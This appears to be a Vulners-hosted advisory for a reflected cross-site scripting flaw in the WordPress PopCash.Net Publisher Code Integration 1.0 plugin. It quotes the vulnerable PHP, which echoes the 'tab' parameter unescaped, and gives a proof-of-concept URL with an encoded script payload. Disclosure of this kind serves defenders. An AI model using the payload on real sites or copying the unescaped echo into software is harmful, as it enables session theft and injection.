Lucene search
K

WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting Vulnerability

🗓️ 12 Oct 2017 00:00:00Reported by Ricardo SanchezType 
zdt
 zdt
🔗 0day.today👁 37 Views

WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting Vulnerability, Impact and Exploi

Code
Credit  Ricardo Sanchez
Vulnerable PopCash.Net Publisher Code Integration plugin 1.0

PopCash.Net Publisher Code Integration plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the "tab" value is not filter correcly:
<div class="row">
  <div class="col-md-4 pull-left" style="margin-bottom:15px;"><input
type="button" onclick="location.href='admin.php?page=popcash-net&tab=<?php
echo $_GET['tab'] ?>&d_status=switch';" value="<?php echo
(get_option('popcash_net_disabled') == 1 ? 'Enable PopUnder Code' :
'Disable PopUnder Code'); ?>" class="button-secondary" /></div>
  <div class="col-md-4 col-xs-8 col-md-offset-0 col-xs-offset-2"><?php
echo pcit_code_disabled(); ?></div>
</div>


Demo url:*http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
<http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E>*

#  0day.today [2018-04-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation